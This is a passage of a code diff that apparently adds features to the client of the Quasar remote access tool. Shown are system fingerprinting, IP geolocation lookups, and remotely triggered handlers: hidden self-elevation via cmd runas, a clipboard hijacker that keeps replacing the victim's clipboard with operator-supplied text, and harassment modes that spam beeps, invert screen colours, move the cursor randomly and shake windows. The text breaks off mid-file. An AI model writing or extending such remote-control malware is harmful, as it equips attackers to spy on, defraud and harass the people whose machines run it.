/// </summary>
|
||||
private static string _gpuName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the BIOS manufacturer.
|
||||
/// </summary>
|
||||
public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the BIOS manufacturer.
|
||||
/// </summary>
|
||||
private static string _biosManufacturer;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the mainboard.
|
||||
/// </summary>
|
||||
public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the mainboard name.
|
||||
/// </summary>
|
||||
private static string _mainboardName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the total physical memory of the system in megabytes (MB).
|
||||
/// </summary>
|
||||
public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the total physical memory.
|
||||
/// </summary>
|
||||
private static int? _totalPhysicalMemory;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the LAN IP address of the network interface.
|
||||
/// </summary>
|
||||
public static string LanIpAddress => GetLanIpAddress();
|
||||
|
||||
/// <summary>
|
||||
/// Gets the MAC address of the network interface.
|
||||
/// </summary>
|
||||
public static string MacAddress => GetMacAddress();
|
||||
|
||||
private static string GetBiosManufacturer()
|
||||
{
|
||||
try
|
||||
{
|
||||
string biosIdentifier = string.Empty;
|
||||
string query = "SELECT * FROM Win32_BIOS";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
biosIdentifier = mObject["Manufacturer"].ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
private static string GetMainboardName()
|
||||
{
|
||||
try
|
||||
{
|
||||
string mainboardIdentifier = string.Empty;
|
||||
string query = "SELECT * FROM Win32_BaseBoard";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
private static string GetCpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
string cpuName = string.Empty;
|
||||
string query = "SELECT * FROM Win32_Processor";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
cpuName += mObject["Name"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
cpuName = StringHelper.RemoveLastChars(cpuName);
|
||||
|
||||
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
private static int GetTotalPhysicalMemoryInMb()
|
||||
{
|
||||
try
|
||||
{
|
||||
int installedRAM = 0;
|
||||
string query = "Select * From Win32_ComputerSystem";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
|
||||
installedRAM = (int)(bytes / 1048576); // bytes to MB
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return installedRAM;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetGpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
string gpuName = string.Empty;
|
||||
string query = "SELECT * FROM Win32_DisplayConfiguration";
|
||||
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
gpuName += mObject["Description"].ToString() + "; ";
|
||||
}
|
||||
}
|
||||
gpuName = StringHelper.RemoveLastChars(gpuName);
|
||||
|
||||
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetLanIpAddress()
|
||||
{
|
||||
// TODO: support multiple network interfaces
|
||||
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
||||
{
|
||||
GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
|
||||
if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
|
||||
{
|
||||
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
||||
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
||||
ni.OperationalStatus == OperationalStatus.Up)
|
||||
{
|
||||
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
||||
{
|
||||
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
||||
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
||||
continue;
|
||||
|
||||
return ip.Address.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "-";
|
||||
}
|
||||
|
||||
private static string GetMacAddress()
|
||||
{
|
||||
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
||||
{
|
||||
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
||||
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
||||
ni.OperationalStatus == OperationalStatus.Up)
|
||||
{
|
||||
bool foundCorrect = false;
|
||||
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
||||
{
|
||||
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
||||
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
||||
continue;
|
||||
|
||||
foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
|
||||
}
|
||||
|
||||
if (foundCorrect)
|
||||
return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString());
|
||||
}
|
||||
}
|
||||
|
||||
return "-";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the IP geolocation information.
|
||||
/// </summary>
|
||||
public class GeoInformation
|
||||
{
|
||||
public string IpAddress { get; set; }
|
||||
public string Country { get; set; }
|
||||
public string CountryCode { get; set; }
|
||||
public string Timezone { get; set; }
|
||||
public string Asn { get; set; }
|
||||
public string Isp { get; set; }
|
||||
public int ImageIndex { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
using System;
|
||||
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
/// <summary>
|
||||
/// Factory to retrieve and cache the last IP geolocation information for <see cref="MINIMUM_VALID_TIME"/> minutes.
|
||||
/// </summary>
|
||||
public static class GeoInformationFactory
|
||||
{
|
||||
/// <summary>
|
||||
/// Retriever used to get geolocation information about the WAN IP address.
|
||||
/// </summary>
|
||||
private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever();
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the latest IP geolocation information.
|
||||
/// </summary>
|
||||
private static GeoInformation _geoInformation;
|
||||
|
||||
/// <summary>
|
||||
/// Time of the last successful location retrieval.
|
||||
/// </summary>
|
||||
private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||
|
||||
/// <summary>
|
||||
/// The minimum amount of minutes a successful IP geolocation retrieval is valid.
|
||||
/// </summary>
|
||||
private const int MINIMUM_VALID_TIME = 60 * 12;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the IP geolocation information, either cached or freshly retrieved if more than <see cref="MINIMUM_VALID_TIME"/> minutes have passed.
|
||||
/// </summary>
|
||||
/// <returns>The latest IP geolocation information.</returns>
|
||||
public static GeoInformation GetGeoInformation()
|
||||
{
|
||||
var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks);
|
||||
|
||||
if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME)
|
||||
{
|
||||
_geoInformation = Retriever.Retrieve();
|
||||
_lastSuccessfulLocation = DateTime.UtcNow;
|
||||
}
|
||||
|
||||
return _geoInformation;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
using Quasar.Client.Helper;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
/// <summary>
|
||||
/// Class to retrieve the IP geolocation information.
|
||||
/// </summary>
|
||||
public class GeoInformationRetriever
|
||||
{
|
||||
/// <summary>
|
||||
/// List of all available flag images on the server side.
|
||||
/// </summary>
|
||||
private readonly string[] _imageList =
|
||||
{
|
||||
"ad", "ae", "af", "ag", "ai", "al",
|
||||
"am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
|
||||
"bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
|
||||
"br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
|
||||
"cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
|
||||
"cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
|
||||
"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
|
||||
"europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
|
||||
"gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
|
||||
"gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
|
||||
"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
|
||||
"jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
|
||||
"ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
|
||||
"lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
|
||||
"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
|
||||
"my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
|
||||
"nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
|
||||
"pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
|
||||
"ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
|
||||
"si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
|
||||
"sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
|
||||
"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
|
||||
"uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
|
||||
"ws", "ye", "yt", "za", "zm", "zw"
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the IP geolocation information.
|
||||
/// </summary>
|
||||
/// <returns>The retrieved IP geolocation information.</returns>
|
||||
public GeoInformation Retrieve()
|
||||
{
|
||||
var geo = TryRetrieveOnline() ?? TryRetrieveLocally();
|
||||
|
||||
if (string.IsNullOrEmpty(geo.IpAddress))
|
||||
geo.IpAddress = TryGetWanIp();
|
||||
|
||||
geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress;
|
||||
geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country;
|
||||
geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode;
|
||||
geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone;
|
||||
geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn;
|
||||
geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp;
|
||||
|
||||
geo.ImageIndex = 0;
|
||||
for (int i = 0; i < _imageList.Length; i++)
|
||||
{
|
||||
if (_imageList[i] == geo.CountryCode.ToLower())
|
||||
{
|
||||
geo.ImageIndex = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon
|
||||
|
||||
return geo;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to retrieve the geolocation information online.
|
||||
/// </summary>
|
||||
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
|
||||
private GeoInformation TryRetrieveOnline()
|
||||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 10000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
var geoInfo = JsonHelper.Deserialize<GeoResponse>(dataStream);
|
||||
|
||||
GeoInformation g = new GeoInformation
|
||||
{
|
||||
IpAddress = geoInfo.Ip,
|
||||
Country = geoInfo.Country,
|
||||
CountryCode = geoInfo.CountryCode,
|
||||
Timezone = geoInfo.Timezone.UTC,
|
||||
Asn = geoInfo.Connection.ASN.ToString(),
|
||||
Isp = geoInfo.Connection.ISP
|
||||
};
|
||||
|
||||
return g;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to retrieve the geolocation information locally.
|
||||
/// </summary>
|
||||
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
|
||||
private GeoInformation TryRetrieveLocally()
|
||||
{
|
||||
try
|
||||
{
|
||||
GeoInformation g = new GeoInformation();
|
||||
|
||||
// use local information
|
||||
var cultureInfo = CultureInfo.CurrentUICulture;
|
||||
var region = new RegionInfo(cultureInfo.LCID);
|
||||
|
||||
g.Country = region.DisplayName;
|
||||
g.CountryCode = region.TwoLetterISORegionName;
|
||||
g.Timezone = DateTimeHelper.GetLocalTimeZone();
|
||||
|
||||
return g;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Tries to retrieves the WAN IP.
|
||||
/// </summary>
|
||||
/// <returns>The WAN IP as string if successful, otherwise <c>null</c>.</returns>
|
||||
private string TryGetWanIp()
|
||||
{
|
||||
string wanIp = "";
|
||||
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
|
||||
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
|
||||
request.Proxy = null;
|
||||
request.Timeout = 5000;
|
||||
|
||||
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||
{
|
||||
using (Stream dataStream = response.GetResponseStream())
|
||||
{
|
||||
using (StreamReader reader = new StreamReader(dataStream))
|
||||
{
|
||||
wanIp = reader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return wanIp;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace Quasar.Client.IpGeoLocation
|
||||
{
|
||||
[DataContract]
|
||||
public class GeoResponse
|
||||
{
|
||||
[DataMember(Name = "ip")]
|
||||
public string Ip { get; set; }
|
||||
|
||||
[DataMember(Name = "continent_code")]
|
||||
public string ContinentCode { get; set; }
|
||||
|
||||
[DataMember(Name = "country")]
|
||||
public string Country { get; set; }
|
||||
|
||||
[DataMember(Name = "country_code")]
|
||||
public string CountryCode { get; set; }
|
||||
|
||||
[DataMember(Name = "timezone")]
|
||||
public Time Timezone { get; set; }
|
||||
|
||||
[DataMember(Name = "connection")]
|
||||
public Conn Connection { get; set; }
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
[DataContract]
|
||||
public class Time
|
||||
{
|
||||
[DataMember(Name = "utc")]
|
||||
public string UTC { get; set; }
|
||||
}
|
||||
[DataContract]
|
||||
public class Conn
|
||||
{
|
||||
[DataMember(Name = "asn")]
|
||||
public string ASN { get; set; }
|
||||
|
||||
[DataMember(Name = "isp")]
|
||||
public string ISP { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class BeepSpamHandler : IMessageProcessor
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private readonly Random _rng = new Random();
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartBeepSpam) Start();
|
||||
else if (message is DoStopBeepSpam) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(BeepLoop) { IsBackground = true };
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
}
|
||||
|
||||
private void BeepLoop()
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
int freq = _rng.Next(200, 3000);
|
||||
int dur = _rng.Next(30, 220);
|
||||
try { Console.Beep(freq, dur); } catch { }
|
||||
if (!_running) break;
|
||||
Thread.Sleep(_rng.Next(0, 150));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ClientServicesHandler : IMessageProcessor
|
||||
{
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
private readonly QuasarApplication _application;
|
||||
|
||||
public ClientServicesHandler(QuasarApplication application, QuasarClient client)
|
||||
{
|
||||
_application = application;
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
|
||||
message is DoClientDisconnect ||
|
||||
message is DoClientReconnect ||
|
||||
message is DoAskElevate;
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
/// <inheritdoc />
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoClientUninstall msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientDisconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientReconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoAskElevate msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientUninstall message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
|
||||
try
|
||||
{
|
||||
new ClientUninstaller().Uninstall();
|
||||
_client.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientDisconnect message)
|
||||
{
|
||||
_client.Exit();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientReconnect message)
|
||||
{
|
||||
_client.Disconnect();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoAskElevate message)
|
||||
{
|
||||
var userAccount = new UserAccount();
|
||||
if (userAccount.Type != AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Verb = "runas",
|
||||
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true
|
||||
};
|
||||
|
||||
_application.ApplicationMutex.Dispose(); // close the mutex so the new process can run
|
||||
try
|
||||
{
|
||||
Process.Start(processStartInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus {Message = "User refused the elevation request."});
|
||||
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex
|
||||
return;
|
||||
}
|
||||
_client.Exit();
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Process already elevated." });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ClipboardHijackHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private string _replacementText;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoStartClipboardHijack start: Start(start.ReplacementText); break;
|
||||
case DoStopClipboardHijack _: Stop(); break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Start(string replacementText)
|
||||
{
|
||||
Stop();
|
||||
_replacementText = replacementText;
|
||||
_running = true;
|
||||
_thread = new Thread(() =>
|
||||
{
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Clipboard.GetText() != _replacementText)
|
||||
Clipboard.SetText(_replacementText);
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(500);
|
||||
}
|
||||
});
|
||||
_thread.SetApartmentState(ApartmentState.STA);
|
||||
_thread.IsBackground = true;
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop() => _running = false;
|
||||
|
||||
public void Dispose() => Stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ColorInvertHandler : IMessageProcessor
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct MAGCOLOREFFECT
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)]
|
||||
public float[] transform;
|
||||
}
|
||||
|
||||
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
private static extern bool MagInitialize();
|
||||
|
||||
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
private static extern bool MagUninitialize();
|
||||
|
||||
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect);
|
||||
|
||||
private static readonly float[] _invertMatrix = {
|
||||
-1, 0, 0, 0, 0,
|
||||
0, -1, 0, 0, 0,
|
||||
0, 0, -1, 0, 0,
|
||||
0, 0, 0, 1, 0,
|
||||
1, 1, 1, 0, 1
|
||||
};
|
||||
|
||||
private static readonly float[] _identityMatrix = {
|
||||
1, 0, 0, 0, 0,
|
||||
0, 1, 0, 0, 0,
|
||||
0, 0, 1, 0, 0,
|
||||
0, 0, 0, 1, 0,
|
||||
0, 0, 0, 0, 1
|
||||
};
|
||||
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoStartColorInvert || message is DoStopColorInvert;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartColorInvert)
|
||||
ApplyEffect(_invertMatrix);
|
||||
else if (message is DoStopColorInvert)
|
||||
ApplyEffect(_identityMatrix);
|
||||
}
|
||||
|
||||
private static void ApplyEffect(float[] matrix)
|
||||
{
|
||||
MagInitialize();
|
||||
var effect = new MAGCOLOREFFECT { transform = matrix };
|
||||
MagSetFullscreenColorEffect(ref effect);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class CursorChaosHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool SetCursorPos(int x, int y);
|
||||
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoStartCursorChaos _: Start(); break;
|
||||
case DoStopCursorChaos _: Stop(); break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(() =>
|
||||
{
|
||||
var rng = new Random();
|
||||
while (_running)
|
||||
{
|
||||
try
|
||||
{
|
||||
int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right);
|
||||
int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom);
|
||||
SetCursorPos(x, y);
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
});
|
||||
_thread.IsBackground = true;
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop() => _running = false;
|
||||
|
||||
public void Dispose() => Stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class DrunkModeHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
[DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
|
||||
[DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
[DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
||||
[DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
[DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct RECT { public int Left, Top, Right, Bottom; }
|
||||
|
||||
const uint SWP_NOSIZE = 0x0001;
|
||||
const uint SWP_NOZORDER = 0x0004;
|
||||
const uint SWP_NOACTIVATE = 0x0010;
|
||||
const uint SWP_NOSENDCHANGING = 0x0400;
|
||||
const int GWL_STYLE = -16;
|
||||
const int WS_MAXIMIZE = 0x01000000;
|
||||
const int WS_MINIMIZE = 0x20000000;
|
||||
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartDrunkMode) Start();
|
||||
else if (message is DoStopDrunkMode) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(DrunkLoop) { IsBackground = true };
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
